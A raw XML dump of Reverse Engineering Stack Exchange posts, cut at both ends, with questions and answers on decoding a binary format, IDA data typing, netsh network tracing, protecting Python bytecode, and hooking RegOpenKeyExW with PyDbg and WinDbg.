;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;br/&gt;&#xA;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;test1&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;br/&gt;&#xA;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;br/&gt;&#xA;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;br/&gt;&#xA;&lt;kbd&gt;test1&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;br/&gt;&#xA;&lt;kbd&gt;test1&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to guess some of it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's column by column then cell by cell, starting at the top left cell.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;\x04&lt;/code&gt; in &lt;code&gt;\x04test&lt;/code&gt; seems to be the length (in bytes I guess) of the following word.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;@&lt;/code&gt; mean the last value&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Anyone knows if the data is following a standard or have any tips how to decode it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example with python :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from struct import unpack&#xA;&#xA;&#xA;def DecodeData(position):&#xA;    print &quot;position&quot;, position&#xA;    firstChar = data[position:][:1]&#xA;    size_in_bytes = unpack('B', firstChar)[0]&#xA;    print &quot;firstChar: {0}. size_in_bytes: {1}&quot;.format(repr(firstChar), size_in_bytes)&#xA;    return size_in_bytes&#xA;&#xA;&#xA;def ReadWord(position, size_in_bytes):&#xA;    word = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]&#xA;    print &quot;word:&quot;, word&#xA;&#xA;data = &quot;\xff\xff\x05\x04test\x02A\x05test1@\x04\x03@@\x04\x05@0\x00\x00@\x05\x05test2\x03\x05\x05test1\x06@0\x00\x01@\x00&quot;&#xA;&#xA;position = 0&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;\\xff - ?&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;\\x05 - ?&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;size_in_bytes = DecodeData(position)&#xA;position += 1&#xA;ReadWord(position, size_in_bytes)&#xA;&#xA;&#xA;print &quot;&quot;&#xA;position += size_in_bytes&#xA;DecodeData(position)&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;&quot;&quot;'2A' : could be to say that &quot;test&quot; has 2 empty cells before it&quot;&quot;&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;size_in_bytes = DecodeData(position)&#xA;position += 1&#xA;word = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]&#xA;print &quot;word:&quot;, word&#xA;&#xA;position += size_in_bytes&#xA;&#xA;DecodeData(position)&#xA;print &quot;&quot;&quot;@: mean that there's another &quot;test1&quot; cell&quot;&quot;&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;\\x04\\x03 - Could be that the next value is 3 cells down&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;&quot;&#xA;position += 1&#xA;print &quot;@@ - Seems to mean 3 repetitions&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;\\x04\\x05 - Could be that the next value is 5 cells down&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;@ - repetition&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;\\x00\\x00 - That could mean to move to the first cell on the next column&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;@ - repetition&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;\\x05 - ?&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;size_in_bytes = DecodeData(position)&#xA;position += 1&#xA;word = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]&#xA;print &quot;word:&quot;, word&#xA;position += size_in_bytes&#xA;&#xA;print &quot;&quot;&#xA;DecodeData(position)&#xA;print &quot;\\x03 - Could be to tell that the pervious word 'test2' is 3 cells down&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;\\x05 - ?&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;size_in_bytes = DecodeData(position)&#xA;position += 1&#xA;word = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]&#xA;print &quot;word:&quot;, word&#xA;position += size_in_bytes&#xA;&#xA;print &quot;&quot;&#xA;DecodeData(position)&#xA;print &quot;\\x06 - Could be to tell that the pervious word 'test1' is 6 cells down&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;@ - repetition&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;\\0 - ?&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;\\x00\\x01 - Seems to mean, next column second cell&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;@ - repetition&quot;&#xA;&#xA;print &quot;&quot;&#xA;position += 1&#xA;DecodeData(position)&#xA;print &quot;\\x00 - end of data or column&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1838" LastEditorUserId="1838" LastEditDate="2013-05-01T18:00:28.300" LastActivityDate="2013-05-04T02:34:29.777" Title="Any idea how to decode this binary data?" Tags="|unpacking|file-format|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1972" PostTypeId="2" ParentId="1970" CreationDate="2013-04-30T20:11:11.740" Score="21" Body="&lt;p&gt;Well, if you're willing to not use Wireshark, you can do this out of the box with &lt;a href=&quot;http://www.microsoft.com/en-us/download/details.aspx?id=4865&quot; rel=&quot;noreferrer&quot;&gt;Microsoft Network Monitor&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;And the even better news is that on Windows 7 (or Win2008 R2) and newer, you can start/stop captures from the command line without installing anything (you can even do it remotely).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20151121120936/http://blogs.msdn.com:80/b/canberrapfe/archive/2012/03/31/capture-a-network-trace-without-installing-anything-works-for-shutdown-and-restart-too.aspx&quot; rel=&quot;noreferrer&quot;&gt;This MSDN blog post explains the entire (simple) process.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nEUQ6.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The short version:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open an elevated command prompt and run: &amp;quot;netsh trace start persistent=yes capture=yes tracefile=c:\temp\nettrace-boot.etl&amp;quot; (make&#xA;sure you have a \temp directory or choose another location).&lt;/li&gt;&#xA;&lt;li&gt;Reproduce the issue or do a reboot if you are tracing a slow boot scenario.&lt;/li&gt;&#xA;&lt;li&gt;Open an elevated command prompt and run: &amp;quot;netsh trace stop&amp;quot;   Your trace will be stored in c:\temp\nettrace-boot.el or where ever&#xA;you saved it. You can view the trace on another machine using netmon.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="161" LastEditorUserId="13506" LastEditDate="2021-07-26T09:17:01.170" LastActivityDate="2021-07-26T09:17:01.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1973" PostTypeId="1" AcceptedAnswerId="1978" CreationDate="2013-05-01T12:12:02.280" Score="5" ViewCount="5607" Body="&lt;p&gt;I have a large section in IDA that is a data lookup table of word length data.  I want to change them all to word length rather than byte length.  I know you can make an array but when I do it becomes an array of bytes.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastEditorUserId="245" LastEditDate="2013-05-01T15:43:59.987" LastActivityDate="2021-09-23T10:14:33.400" Title="How to change a large section of bytes to words in IDA Pro" Tags="|ida|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1974" PostTypeId="2" ParentId="1943" CreationDate="2013-05-01T12:14:59.087" Score="19" Body="&lt;p&gt;Here are tricks you can use when packaging your python app with a custom interpreter.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Remap the opcodes for the interpreter&lt;/li&gt;&#xA;&lt;li&gt;Encrypt the pyc files (the custom interpreter decrypts before importing)&lt;/li&gt;&#xA;&lt;li&gt;Remove access to co_code in the interpreter (delete the reference to co_code in the code_memberlist array declaration in codeobject.c of the interpreter)&lt;/li&gt;&#xA;&lt;li&gt;Obfuscate/protect the python interpreter&lt;/li&gt;&#xA;&lt;li&gt;Do not bundle modules such as &lt;code&gt;dis&lt;/code&gt; which would help in reverse engineering (basically reverse engineer an unobfuscated python program, note all modules/techniques you find useful and remove them from the custom interpreter)&lt;/li&gt;&#xA;&lt;li&gt;Modify the interpreter so it can only import pyc files (can be done by removing the compile modules or filtering in the interpreter)&lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;https://github.com/MyNameIsMeerkat/pyREtic&quot; rel=&quot;nofollow noreferrer&quot;&gt;pyREtic&lt;/a&gt; folks give a few standard techniques for entering the custom interpreter. Testing these out on your app and trying to disable those access methods would make things much harder for a reverse engineer.&lt;/li&gt;&#xA;&lt;li&gt;Remove functions from interpreter which the RE could call to help him/her out such as &lt;code&gt;PyRunString()&lt;/code&gt;. Otherwise they can attach with a debugger and run arbitrary python code.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;References&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.defcon.org/images/defcon-18/dc-18-presentations/RSmith/DEFCON-18-RSmith-pyREtic.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;pyREtic – In memory reverse engineering for obfuscated Python bytecode&lt;/a&gt; by Rich Smith. DEFCON-18, Las Vegas, 2010.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1854" LastEditorUserId="8200" LastEditDate="2019-09-06T18:42:41.647" LastActivityDate="2019-09-06T18:42:41.647" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1975" PostTypeId="2" ParentId="1973" CreationDate="2013-05-01T12:21:19.643" Score="3" Body="&lt;p&gt;Here is how I did it.&lt;br&gt;&#xA;I changed the first couple of bytes to data, made an array so I had an array of words and then edited the array to contain more elements.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2013-05-01T12:21:19.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1976" PostTypeId="2" ParentId="1973" CreationDate="2013-05-01T14:18:40.477" Score="8" Body="&lt;p&gt;There may be a better way of doing it, but I've always accomplished this with a simple script that lets me just select the range of bytes that I want to convert to dwords. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ea = SelStart()&#xA;end = SelEnd()&#xA;&#xA;print &quot;Making DWORDs from 0x%X - 0x%X&quot; % (ea, end)&#xA;&#xA;MakeUnknown(ea, (end-ea), DOUNK_SIMPLE)&#xA;&#xA;while ea &amp;lt; end:&#xA;    MakeDword(ea)&#xA;    ea += 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2013-05-01T14:18:40.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1977" PostTypeId="1" AcceptedAnswerId="2030" CreationDate="2013-05-01T16:57:56.057" Score="14" ViewCount="3095" Body="&lt;p&gt;I'm interested in debugging and monitoring a Windows Phone 8 application for which I do not have the source code. Android and iOS can both be rooted/jailbroken, which allows me to use tools like GDB (and others) to debug and monitor a running application, but I'm not aware of anything similar for Windows Phone 8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionaly I want to monitor filesystem activity while running the application (I use &lt;a href=&quot;http://www.newosxbook.com/src.jl?tree=listings&amp;amp;file=3-filemon.c&quot;&gt;Filemon for iOS&lt;/a&gt; for this task on iOS). Or is it easier to simply run the application in the Windows Phone 8 simulator and attempt to monitor the app that way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you debug a Windows Phone 8 application without source code?&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2013-05-09T20:06:40.433" Title="How can I debug or monitor a Windows Phone 8 application?" Tags="|windowsphone|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1978" PostTypeId="2" ParentId="1973" CreationDate="2013-05-01T17:37:05.020" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;Create one word (or dword)&lt;/li&gt;&#xA;&lt;li&gt;Use the &quot;Make array&quot; command to create an array of words. You can select the range of data you want to convert to automatically calculate the item count.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want to have each element as a separate item and not part of array, uncheck the &quot;Create as array&quot; option.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2013-05-01T21:17:15.267" LastActivityDate="2013-05-01T21:17:15.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1979" PostTypeId="1" AcceptedAnswerId="1982" CreationDate="2013-05-01T20:49:47.897" Score="12" ViewCount="6222" Body="&lt;p&gt;I have WinDbg attached to a process I don't have the source code for. I've set a breakpoint with &lt;code&gt;bm ADVAPI32!_RegOpenKeyExW@20&lt;/code&gt;. The output of dv is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unable to enumerate locals, HRESULT 0x80004005&#xA;Private symbols (symbols.pri) are required for locals.&#xA;Type &quot;.hh dbgerr005&quot; for details.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output of kP is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; kP&#xA;ChildEBP RetAddr  &#xA;001ae174 5b73a79c ADVAPI32!_RegOpenKeyExW@20&#xA;001ae1cc 5b77bb20 msenv!?ReadSecurityAddinSetting@@YG_NPAGK@Z+0x8a&#xA;001ae468 5b781aad msenv!?    QueryStatusCmd@CVSCommandTarget@@QAEJPBVCIcmdGuidCmdId@@PBU_GUID@@KQAU_tagOLECMD@@PAU_tagOLECMDTEXT@@@Z+0x254&#xA;001ae49c 5b786073 msenv!?IsCommandVisible@CVSShellMenu@@QAEJPBVCIcmdGuidCmdId@@_N@Z+0xbf&#xA;001ae4e4 5b785fd2 msenv!?IsCommandVisible@CSurfaceCommandingSupport@@UAGJABU_COMMANDTABLEID@@_NPAH@Z+0xa0&#xA;. . .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can I do to look at the values of the paramaters passed (particularly the second one: &lt;em&gt;LPCTSTR lpSubKey&lt;/em&gt;)? Also, what can I do to set a conditional breakpoint based on the value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the Visual Studio debugger as well as WinDbg. I'm willing to try other tools as well.&lt;/p&gt;&#xA;" OwnerUserId="1908" LastActivityDate="2013-05-15T12:46:10.350" Title="How do I see the parameters passed to RegOpenKeyEx, and set a conditional breakpoint?" Tags="|debugging-symbols|windbg|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1980" PostTypeId="2" ParentId="1979" CreationDate="2013-05-01T21:14:25.987" Score="3" Body="&lt;p&gt;Download &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rohitab's API Monitor&lt;/a&gt; and set the API capture filter on just &lt;em&gt;RegOpenKeyEx&lt;/em&gt;. Below are just example screenshots of how it works and the information it provides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what you described, this should do exactly what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GLu0F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RKSTJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2013-05-01T21:14:25.987" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1981" PostTypeId="2" ParentId="1979" CreationDate="2013-05-01T21:42:02.967" Score="5" Body="&lt;p&gt;I have had hands down the best experiences with PaiMei, or &lt;a href=&quot;https://github.com/OpenRCE/pydbg&quot;&gt;in particular PyDbg&lt;/a&gt; for these purposes. The book &quot;Grayhat Python&quot; brought it to my attention and I decided to give it a try.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The script&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here's a somewhat generic skeleton I've been using in my dynamic analysis (&lt;a href=&quot;/questions/tagged/dynamic-analysis&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'dynamic-analysis'&quot; rel=&quot;tag&quot;&gt;dynamic-analysis&lt;/a&gt;) efforts. I have adjusted it so it'll hook the Unicode version of the function you are interested in hooking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the answer may not be spot on, since you can achieve breaking conditionally, but you'll have to add the interactive debugger part to the script. If you wanted to vreak instead of continuing, you'd have to tell the debugger to do just that by modifying the line &lt;code&gt;return DBG_CONTINUE&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;import ctypes&#xA;import traceback&#xA;try:&#xA;    from pydbg import *&#xA;    from pydbg.defines import *&#xA;    from utils import hooking&#xA;except:&#xA;    print &quot;ERROR: you need pydbg and utils.hooking from PAIMEI.&quot;&#xA;    sys.exit(-1)&#xA;&#xA;reg = None&#xA;&#xA;class reg_pydbg(pydbg):&#xA;    @staticmethod&#xA;    def __getlen(mbi, address):&#xA;        # What's the maximum number of bytes we can read?&#xA;        _maxlen = 64*1024&#xA;        absmaxlen = (mbi.BaseAddress + mbi.RegionSize) - address&#xA;        if absmaxlen &amp;gt; _maxlen:&#xA;            return _maxlen&#xA;        return absmaxlen&#xA;&#xA;    def rootkey_const(self, key):&#xA;        if 0x80000000 == key:&#xA;            return &quot;HKCR&quot;&#xA;        elif 0x80000001 == key:&#xA;            return &quot;HKCU&quot;&#xA;        elif 0x80000002 == key:&#xA;            return &quot;HKLM&quot;&#xA;        elif 0x80000003 == key:&#xA;            return &quot;HKU&quot;&#xA;        elif 0x80000004 == key:&#xA;            return &quot;HKEY_PERFORMANCE_DATA&quot;&#xA;        elif 0x80000050 == key:&#xA;            return &quot;HKEY_PERFORMANCE_TEXT&quot;&#xA;        elif 0x80000060 == key:&#xA;            return &quot;HKEY_PERFORMANCE_NLSTEXT&quot;&#xA;        elif 0x80000005 == key:&#xA;            return &quot;HKEY_CURRENT_CONFIG&quot;&#xA;        elif 0x80000006 == key:&#xA;            return &quot;HKEY_DYN_DATA&quot;&#xA;        elif 0x80000007 == key:&#xA;            return &quot;HKEY_CURRENT_USER_LOCAL_SETTINGS&quot;&#xA;        return &quot;0x%08X&quot; % (key)&#xA;&#xA;    def readmem(self, address, len = 0):&#xA;        try:&#xA;            mbi = self.virtual_query(address)&#xA;        except:&#xA;            return None, &quot;%08X &amp;lt;invalid ptr&amp;gt;&quot; % (address)&#xA;&#xA;        if mbi.Protect &amp;amp; PAGE_GUARD: # no way to display contents of a guard page&#xA;            return None, &quot;%08X &amp;lt;guard page&amp;gt;&quot; % (address)&#xA;&#xA;        if 0 == len: # try to make a good guess then&#xA;            len = self.__getlen(mbi, address)&#xA;&#xA;        try:&#xA;            explored = self.read_process_memory(address, len)&#xA;        except:&#xA;            return None, &quot;%08X &amp;lt;ReadProcessMemory failed&amp;gt;&quot; % (address)&#xA;&#xA;        return explored, None&#xA;&#xA;    def readstring(self, address, unicodeHint = False, returnNone = False):&#xA;        if 0 == address:&#xA;            if returnNone:&#xA;                return None&#xA;            return &quot;&amp;lt;nullptr&amp;gt;&quot;&#xA;&#xA;        explored, retval = self.readmem(address)&#xA;&#xA;        if not explored:&#xA;            if returnNone:&#xA;                return None&#xA;            return retval&#xA;&#xA;        explored_string = None&#xA;&#xA;        if not unicodeHint:&#xA;            explored_string = self.get_ascii_string(explored)&#xA;&#xA;        if not explored_string:&#xA;            explored_string = self.get_unicode_string(explored)&#xA;&#xA;        if not explored_string:&#xA;            explored_string = self.get_printable_string(explored)&#xA;&#xA;        return explored_string&#xA;&#xA;def exit_RegOpenKeyExW(dbg, args, ret):&#xA;    keyname = dbg.readstring(args[1], True)&#xA;    print &quot;RegOpenKeyExW(%s, %s, ...) -&amp;gt; %s (%d)&quot; % (dbg.rootkey_const(args[0]), keyname, ctypes.FormatError(ret), ret)&#xA;    return DBG_CONTINUE&#xA;&#xA;class reghooks:&#xA;    fct2hook = {&#xA;        &quot;advapi32.dll&quot; :&#xA;            {&#xA;            &quot;RegOpenKeyExW&quot;                     : { &quot;args&quot; : 5, &quot;entry&quot; : None, &quot;exit&quot; : exit_RegOpenKeyExW },&#xA;            },&#xA;    }&#xA;&#xA;    hooked = {}&#xA;    hookcont = None&#xA;    dbg = None&#xA;&#xA;    def __init__ (self, dbg):&#xA;        self.hookcont = hooking.hook_container()&#xA;        self.hooked = {}&#xA;        self.dbg = dbg&#xA;        dbg.set_callback(LOAD_DLL_DEBUG_EVENT, self.handler_loadDLL)&#xA;&#xA;    def hookByDLL(self, dll):&#xA;        if not dll.name.lower() in self.hooked:&#xA;            for key,value in self.fct2hook.items():&#xA;                if key.lower() == dll.name.lower():&#xA;                    self.hooked[dll.name.lower()] = 1&#xA;                    print &quot;%s at %08x&quot; % (dll.name, dll.base)&#xA;                    for func,fctprops in value.items():&#xA;                        entry = None; exit = None; args = 0&#xA;                        if &quot;entry&quot; in fctprops and None != fctprops[&quot;entry&quot;]:&#xA;                            print &quot;\tentry hook &quot; + func&#xA;                            entry = fctprops[&quot;entry&quot;]&#xA;                        if &quot;exit&quot; in fctprops and None != fctprops[&quot;exit&quot;]:&#xA;                            print &quot;\texit hook &quot; + func&#xA;                            exit = fctprops[&quot;exit&quot;]&#xA;                        if &quot;args&quot; in fctprops and None != fctprops[&quot;args&quot;]:&#xA;                            args = fctprops[&quot;args&quot;]&#xA;                        if None != entry or None != exit:&#xA;                            funcaddr = self.dbg.func_resolve(dll.name, func)&#xA;                            self.hookcont.add(self.dbg, funcaddr, args, entry, exit)&#xA;        else:&#xA;            self.hooked[dll.name.lower()] += 1&#xA;        return&#xA;&#xA;    @staticmethod&#xA;    def handler_loadDLL(dbg):&#xA;        global reg&#xA;        dbg.hide_debugger()&#xA;        last_dll = dbg.get_system_dll(-1)&#xA;        reg.hookByDLL(last_dll)&#xA;        return DBG_CONTINUE&#xA;&#xA;def main():&#xA;    dbg = reg_pydbg()&#xA;    dbg.load(&quot;C:\\Windows\\regedit.exe&quot;)&#xA;    global reg&#xA;    reg = reghooks(dbg)&#xA;    dbg.run()&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Example output&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;C:\Python26\python.exe hookreg.py&#xA;advapi32.dll at 75840000&#xA;        exit hook RegOpenKeyExW&#xA;RegOpenKeyExW(HKCU, Software\Microsoft\Windows\CurrentVersion\Applets\Regedit, ...) -&amp;gt; The operation completed successfully. (0)&#xA;RegOpenKeyExW(HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontLink\SystemLink, ...) -&amp;gt; The operation completed successfully. (0)&#xA;RegOpenKeyExW(HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0, ...) -&amp;gt; The operation completed successfully. (0)&#xA;RegOpenKeyExW(HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback, ...) -&amp;gt; The operation completed successfully. (0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Explanation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The important parts are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;RegOpenKeyExW&quot; : { &quot;args&quot; : 5, &quot;entry&quot; : None, &quot;exit&quot; : exit_RegOpenKeyExW },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the function &lt;code&gt;exit_RegOpenKeyExW&lt;/code&gt;. You could also modify the above to hook only upon entry &lt;code&gt;RegOpenKeyExW&lt;/code&gt; instead of upon exit or to do both. Depends on what you want to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used this method to decode buffers (&lt;code&gt;SCSI_PASS_THROUGH_DIRECT&lt;/code&gt; and &lt;code&gt;SCSI_PASS_THROUGH&lt;/code&gt;) sent via &lt;code&gt;DeviceIoControl&lt;/code&gt;, so the above is by far not the most complex thing you can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On another note, I have also hooked stuff like opening files (or registry keys) and kept lists of the returned handles along with the string form of what they are. This way I could implement quite complex human-readable logging scenarios.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Rationale&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The reason stuff like the nested dictionary exists is so that it can be easily extended to hook whatever function from whatever DLL I please. Of course it could be hardcoded as well, but I have had scenarios where I was hooking dozens of functions.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2013-05-02T13:52:16.797" LastActivityDate="2013-05-02T13:52:16.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1982" PostTypeId="2" ParentId="1979" CreationDate="2013-05-01T22:11:33.180" Score="13" Body="&lt;p&gt;This is doable in WinDbg, but the syntax isn't the greatest. The other answers are probably better if you're just looking to get a result quickly. That said, here's how you'd do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RegOpenKeyExW is an stdcall function, and it looks like you're on a 32-bit version of Windows, so when you enter the function the first argument will be at &lt;code&gt;ESP+4&lt;/code&gt;, the second at &lt;code&gt;ESP+8&lt;/code&gt;, etc. The signature for it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LONG WINAPI RegOpenKeyEx(&#xA;  _In_        HKEY hKey,&#xA;  _In_opt_    LPCTSTR lpSubKey,&#xA;  _Reserved_  DWORD ulOptions,&#xA;  _In_        REGSAM samDesired,&#xA;  _Out_       PHKEY phkResult&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So at 